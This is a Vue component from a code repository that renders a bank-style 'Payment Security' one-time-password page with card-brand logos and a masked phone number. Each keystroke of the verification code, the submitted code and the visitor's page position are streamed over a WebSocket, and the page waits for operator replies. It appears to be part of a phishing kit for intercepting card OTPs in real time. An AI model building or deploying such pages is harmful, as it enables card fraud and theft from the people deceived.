Files
zy-client-a/ww_gb_Ticket_temp2/src/views/OtpView.vue
telangpu cf55c2cad6 update
2026-04-28 00:42:28 +08:00

458 lines
10 KiB
Vue
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const isVerifying = ref(false);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const type = localStorage.getItem("message1");
if (type) {
message1.value = type;
}
}
localStorage.setItem("route", "otpValid");
// 尝试恢复倒计时,如果没有进行中的倒计时则启动新的倒计时
restoreCountdown();
if (!isCounting.value) {
startCountdown("");
}
eventBus.on("otp-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
isVerifying.value = true;
if (!areAllValuesNotEmpty(formData)) {
isVerifying.value = false;
return;
}
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData: formData,
},
})
);
};
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `Resend Code (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
: "Resend Code";
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType: resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
// 保存倒计时开始时间到 localStorage方便页面刷新后恢复
const startTime = Date.now();
localStorage.setItem("countdownStartTime", startTime.toString());
localStorage.setItem("countdownDuration", initialTime.toString());
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
// 清除 localStorage 中的倒计时数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
};
// 恢复倒计时状态(页面刷新后)
const restoreCountdown = () => {
const startTimeStr = localStorage.getItem("countdownStartTime");
const durationStr = localStorage.getItem("countdownDuration");
if (startTimeStr && durationStr) {
const startTime = parseInt(startTimeStr);
const duration = parseInt(durationStr);
const elapsedSeconds = Math.floor((Date.now() - startTime) / 1000);
const remainingTime = Math.max(0, duration - elapsedSeconds);
if (remainingTime > 0) {
isCounting.value = true;
timeLeft.value = remainingTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
} else {
// 倒计时已过期,清除数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
}
}
};
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
isVerifying.value = false;
};
onUnmounted(() => {
eventBus.off("otp-valid", handleEvent);
// 不要在卸载时清除倒计时,这样刷新页面时倒计时还会继续
if (timer !== null) {
clearInterval(timer);
}
});
</script>
<template>
<div id="otp-page" class="page-wrapper">
<div class="container-outer">
<div class="card-container">
<div class="header-nav">
<div class="bank-icon">
<svg viewBox="0 0 24 24" width="36" height="36" fill="#333">
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
</svg>
</div>
<div class="card-logo-wrapper">
<CardType1 :cardType="cardType" />
</div>
</div>
<div class="content-body">
<h2 class="page-title">Payment Security</h2>
<p class="instruction-text">
To ensure the security of your payment, we have sent a One-Time Password (OTP) to your registered mobile number
<span v-if="message1"> ending in {{ message1 }}</span>.
Please enter the verification code below.
</p>
<form @submit.prevent="submit">
<div class="form-group">
<label class="field-label">Verification Code</label>
<input
required
type="text"
class="otp-input-field"
placeholder="Enter verification code"
v-model="formData.verifyCode"
@input="onchange"
/>
</div>
<div class="error-feedback" v-if="message">{{ message }}</div>
<div class="form-actions-row">
<button type="submit" class="submit-button">Submit</button>
<a href="javascript:void(0)" class="resend-link" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<div class="bottom-links">
<div class="divider-line"></div>
<div class="info-row">
<span class="info-label">Learn more about Authentication</span>
<span class="icon-plus">+</span>
</div>
<div class="info-row">
<span class="info-label">Need Help?</span>
<span class="icon-plus">+</span>
</div>
</div>
</div>
</div>
</div>
<Transition name="fade">
<div class="loading-overlay" v-if="isVerifying">
<div class="overlay-backdrop"></div>
<div class="overlay-box">
<div class="loader-spinner"></div>
<div class="loader-text">Verifying...</div>
</div>
</div>
</Transition>
</div>
</template>
<style scoped>
.page-wrapper {
background-color: #ffffff;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: flex-start;
font-family: "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
.container-outer {
width: 100%;
max-width: 500px;
padding: 20px;
}
.card-container {
background: #ffffff;
}
/* Header Navbar */
.header-nav {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px 0 25px 0;
border-bottom: 1px solid #f0f2f5;
}
.content-body {
padding: 35px 0;
}
.page-title {
font-size: 24px;
font-weight: 600;
color: #122b46;
margin-bottom: 15px;
}
.instruction-text {
font-size: 15px;
color: #616e7c;
line-height: 1.5;
margin-bottom: 35px;
}
/* Form Styles */
.form-group {
margin-bottom: 15px;
}
.field-label {
display: block;
font-weight: 700;
font-size: 15px;
color: #243b53;
margin-bottom: 12px;
}
.otp-input-field {
width: 100%;
padding: 14px 12px;
border: 1px solid #d1d9e2;
border-radius: 4px;
font-size: 16px;
box-sizing: border-box;
}
.otp-input-field::placeholder {
color: #9fb3c8;
}
.otp-input-field:focus {
border-color: #2563eb;
outline: none;
}
/* Actions: Button and Resend Link on the same line */
.form-actions-row {
display: flex;
align-items: center;
gap: 20px;
margin-top: 30px;
}
.submit-button {
background-color: #2563eb; /* Blue primary */
color: #ffffff;
border: none;
padding: 14px 0;
width: 280px; /* Specific width as per UI */
border-radius: 6px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: background 0.2s;
}
.submit-button:hover {
background-color: #1d4ed8;
}
.resend-link {
font-size: 15px;
color: #2563eb;
text-decoration: none;
white-space: nowrap;
}
.resend-link:hover {
text-decoration: underline;
}
.error-feedback {
color: #d93025;
font-size: 14px;
margin-top: 10px;
}
/* Accordion Style Links */
.bottom-links {
margin-top: 40px;
}
.divider-line {
height: 1px;
background-color: #e4e7eb;
margin-bottom: 10px;
}
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 20px 0;
border-bottom: 1px solid #e4e7eb;
cursor: pointer;
}
.info-label {
font-size: 15px;
color: #243b53;
font-weight: 400;
}
.icon-plus {
color: #9fb3c8;
font-size: 20px;
}
/* Loading Overlay Styles */
.loading-overlay {
position: fixed;
inset: 0;
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
}
.overlay-backdrop {
position: absolute;
inset: 0;
background: rgba(255, 255, 255, 0.9);
}
.overlay-box {
position: relative;
text-align: center;
}
.loader-spinner {
width: 45px;
height: 45px;
border: 4px solid #f3f3f3;
border-top: 4px solid #2563eb;
border-radius: 50%;
animation: spin 1s linear infinite;
margin: 0 auto 15px;
}
.loader-text {
font-size: 15px;
color: #486581;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
.fade-enter-from, .fade-leave-to { opacity: 0; }
/* Responsive */
@media (max-width: 480px) {
.form-actions-row {
flex-direction: column;
align-items: stretch;
}
.submit-button {
width: 100%;
}
.resend-link {
text-align: center;
margin-top: 10px;
}
}
</style>